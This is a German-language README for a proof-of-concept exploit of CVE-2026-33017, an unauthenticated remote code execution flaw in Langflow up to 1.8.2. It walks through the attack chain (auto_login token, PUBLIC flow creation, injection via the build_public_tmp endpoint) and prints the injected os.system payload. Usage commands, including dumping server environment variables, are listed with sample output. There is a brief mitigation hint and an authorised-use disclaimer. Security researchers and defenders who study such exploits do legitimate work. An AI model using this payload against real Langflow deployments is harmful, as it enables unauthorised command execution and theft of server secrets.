
Proof-of-concept-Exploit für CVE-2026-33017, der eine nicht authentifizierte Remote-Code-Ausführung in Langflow durch bösartige CustomComponent-Injection über öffentliche Build-Endpunkte demonstriert.
CVE-ID: CVE-2026-33017
Betroffene Software: Langflow
Verwundbare Versionen: <= 1.8.2
Behobene Version: >= 1.9.0
Schweregrad: Kritisch
Autor: r3nsi15
Datum: 2026
Langflow stellt einen öffentlichen Flow-Build-Endpunkt (/api/v1/build_public_tmp/{flowID}/flow) bereit, der beliebige CustomComponent-Codeblöcke akzeptiert und diese serverseitig ohne Authentifizierung ausführt. Durch das Injizieren einer schädlichen Python-Nutzlast in das code-Feld eines CustomComponent-Knotens kann ein nicht authentifizierter Angreifer beliebige Betriebssystembefehle mit den Berechtigungen des Langflow-Serverprozesses ausführen.
Die Angriffskette missbraucht zunächst den Endpunkt /api/v1/auto_login, der ein Bearer-Token ohne Anmeldeinformationen ausstellt, wenn Langflow in seiner Standard-Auto-Login-Konfiguration läuft. Anschließend wird mit diesem Token ein temporärer öffentlicher Flow erstellt und über den Build-Endpunkt die serverseitige Codeausführung ausgelöst.
Datei: CVE-2026-33017_POC.py
requests-Bibliothekpip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
Codeausführung verifizieren:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Server-Umgebungsvariablen abrufen:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Flow nach der Ausnutzung am Leben erhalten (Bereinigung überspringen):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
Der Exploit injiziert das folgende Python-Snippet in das code-Feld eines CustomComponent-Knotens:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) – importiert dynamisch das os-Modul und führt den vom Angreifer bereitgestellten Shell-Befehl auf dem Server aus.CustomComponent, das erforderlich ist, um den Langflow-Komponentenlader zu erfüllen, ohne einen Parse-Fehler auszulösen.PUBLIC erstellt und der Build-Endpunkt wird an dessen öffentlichem Endpunkt aufgerufen; daher ist kein Session-Cookie oder Authentifizierungstoken erforderlich, um die Ausführung auszulösen.Das CustomComponent-System von Langflow erlaubt die Übermittlung von beliebigem Python-Code als Teil einer Flow-Definition. Der Endpunkt /api/v1/build_public_tmp/{flowID}/flow baut diesen Code auf und wertet ihn serverseitig teilweise aus – einschließlich Anweisungen auf Modulebene – ohne Sandboxing oder Einschränkung des Zugriffs auf Python-Builtins wie __import__.
1. GET /api/v1/auto_login → Bearer-Token abrufen (keine Anmeldeinformationen nötig)
2. POST /api/v1/flows/ → PUBLIC-Flow erstellen (Bearer-Token)
3. POST /api/v1/build_public_tmp/ → Schädliches CustomComponent injizieren und ausführen (keine Authentifizierung)
4. DELETE /api/v1/flows/{id} → Bereinigen (optional)
Alle vier Schritte können von einem anonymen Angreifer gegen eine standardmäßige Langflow-Bereitstellung durchgeführt werden.
LANGFLOW_AUTO_LOGIN=false) bei jeder internetzugänglichen Bereitstellung.Dieser Proof of Concept dient ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken. Die Verwendung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor und die Mitwirkenden übernehmen keine Haftung für Missbrauch.
| Endpunkt | Methode | Authentifizierung erforderlich | Zweck |
|---|
/api/v1/auto_login | GET | Nein | Bearer-Token abrufen (Auto-Login muss aktiviert sein) |
/api/v1/flows/ | POST | Ja (Bearer) | Neuen Flow erstellen |
/api/v1/build_public_tmp/{flowID}/flow | POST | Nein (öffentlich) | Build auslösen — anfälliger Ausführungspunkt |
/api/v1/flows/{flowID} | DELETE | Ja (Bearer) | Erstellten Flow bereinigen |
| Flag | Langform | Erforderlich | Beschreibung |
|---|
-u | --url | Ja | Basis-URL der Langflow-Instanz |
-c | --command | Ja | Auszuführender OS-Befehl auf dem Server |
-d | --delete | Nein | Erstellten Flow nach der Ausnutzung löschen |